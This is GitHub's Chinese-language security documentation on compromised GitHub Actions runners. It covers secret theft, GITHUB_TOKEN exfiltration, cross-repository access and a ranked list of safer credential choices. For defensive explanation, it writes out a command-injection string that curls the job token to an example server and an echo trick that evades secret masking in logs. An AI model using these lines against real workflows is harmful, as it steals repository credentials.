Skip to main content

被入侵的运行器

了解与被入侵的 GitHub Actions 运行器相关的安全风险。

受损运行器的潜在影响

这些部分考虑了当攻击者能够对 GitHub Actions 运行器运行恶意命令时可以采取的一些步骤。

注意

GitHub 托管的运行器不会扫描用户在其作业期间下载的恶意代码,例如遭到入侵的第三方库。

访问密钥

使用 pull_request 事件从复刻的仓库触发的工作流具有只读权限,不能访问机密。 但是,这些权限因各种事件触发因素(如 issue_commentissuespushpull_request)与仓库内的分支不同,攻击者可能试图窃取仓库机密或使用作业的 GITHUB_TOKEN 的写入权限。

  • 如果机密或令牌设置为环境变量,可以使用 printenv 通过环境直接进行访问。

  • 如果在表达式中直接使用密钥,生成的 shell 脚本将存储在磁盘上,并且可以访问。

  • 对于自定义操作,风险可能因程序如何使用从参数中获取的密钥而异:

    uses: fakeaction/publish@v3
    with:
        key: ${{ secrets.PUBLISH_KEY }}
    

虽然 GitHub Actions 会从工作流(或包含的操作)中未引用的内存中清除机密,但 GITHUB_TOKEN 和任何引用的机密均可被顽强的攻击者获取。

泄露运行器中的数据

攻击者可以从运行器泄露任何被盗的密钥或其他数据。 为了帮助防止意外的机密泄露,GitHub Actions 自动编辑打印到日志的机密,但这不是一个真正的安全边界,因为可以有意图地将机密发送到日志。 例如,可使用 echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200}; 来泄露经过模糊处理的机密。 此外,由于攻击者可能运行任意命令,他们可以使用 HTTP 请求将机密或其他仓库数据发送到外部服务器。

窃取作业的 GITHUB_TOKEN

攻击者有可能窃取作业的 GITHUB_TOKEN。 GitHub Actions 运行器自动接收生成的 GITHUB_TOKEN,权限仅限于包含工作流的存储库,令牌在作业完成后过期。 一旦过期,令牌对攻击者不再有用。 为解决此限制,他们可以通过调用带有令牌的攻击者控制的服务器(例如:a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#)来自动执行攻击并在几分之一秒内完成攻击。

修改仓库的内容

如果分配的权限 GITHUB_TOKEN 不受限制,则攻击者服务器可以使用 GitHub API 修改仓库内容(包括版本)。

跨存储库访问

GitHub Actions 的范围有意设为每次一个仓库。 GITHUB_TOKEN 授予与写入访问用户相同的访问权限,因为任何写入访问用户都可以通过创建或修改工作流文件来访问此令牌,在必要时提升 GITHUB_TOKEN 的权限。 用户对每个存储库都有特定权限,因此,如果不谨慎实施,一个存储库的 GITHUB_TOKEN 授予对另一个存储库的访问权限将会影响 GitHub 权限模型。 同样,在向工作流程添加 GitHub 授权令牌时也必须谨慎,因为这也会因无意中向协作者授予一般权限而影响 GitHub 权限模型。

如果你的组织归企业帐户所有,则可以通过将 GitHub Actions 存储在内部存储库中来共享和重复使用它们。 有关详细信息,请参阅“与企业共享操作和工作流”。

可以通过引用 GitHub 身份验证令牌或 SSH 密钥作为工作流中的密码,执行其他特权跨存储库交互。 由于许多身份验证令牌类型不允许对特定资源进行细致的访问,因此使用错误的令牌类型存在很大风险,因为它可以授予比预期范围更广泛的访问。

此列表描述建议用于在工作流程中访问仓库数据的方法,按优先顺序降序排列:

  1. GITHUB_TOKEN
    • 此令牌的范围有意设为调用工作流程的单个仓库,并且具有与仓库具有写入访问用户相同的访问级别。 令牌在每个作业开始之前创建,在作业完成时过期。 有关详细信息,请参阅“Use GITHUB_TOKEN for authentication in workflows”。
    • 应尽可能使用 GITHUB_TOKEN
  2. 存储库部署密钥
    • 部署密钥是唯一授予对单个存储库的读取或写入访问权限的凭据类型之一,可用于与工作流程中的另一个仓库进行交互。 有关详细信息,请参阅“管理部署密钥”。
    • 请注意,部署密钥只能使用 Git 克隆和推送到仓库,不能用于与 REST 或 GraphQL API 进行交互,因此它们可能不适合您的要求。
  3. GitHub App 令牌
  4. personal access tokens
    • 切勿使用personal access token (classic)。 这些令牌授予对有权访问的组织内的所有存储库以及个人帐户中的所有个人存储库的访问权限。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。
    • 如果使用personal access token,则切勿通过自己的帐户使用personal access token。 如果你之后离开组织,使用此令牌的工作流将立即中断,而且调试此问题可能具有挑战性。 你应该转而为属于你的组织的新帐户使用 fine-grained personal access token,该令牌仅向工作流需要的特定仓库授予访问权限。 请注意,此方法不可扩展,应避免采用其他方法,例如部署密钥。
  5. 个人帐户上的 SSH 密钥
    • 工作流不应使用个人帐户上的 SSH 密钥。 与personal access tokens (classic)类似,它们授予对所有个人存储库及你通过组织成员资格访问的所有存储库的读/写权限。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。 如果您打算使用 SSH 密钥,因为您只需要执行仓库克隆或推送,并且不需要与公共 API 交互,则应该使用单独的部署密钥。

后续步骤

有关 GitHub Actions 的安全最佳做法,请参阅 安全使用参考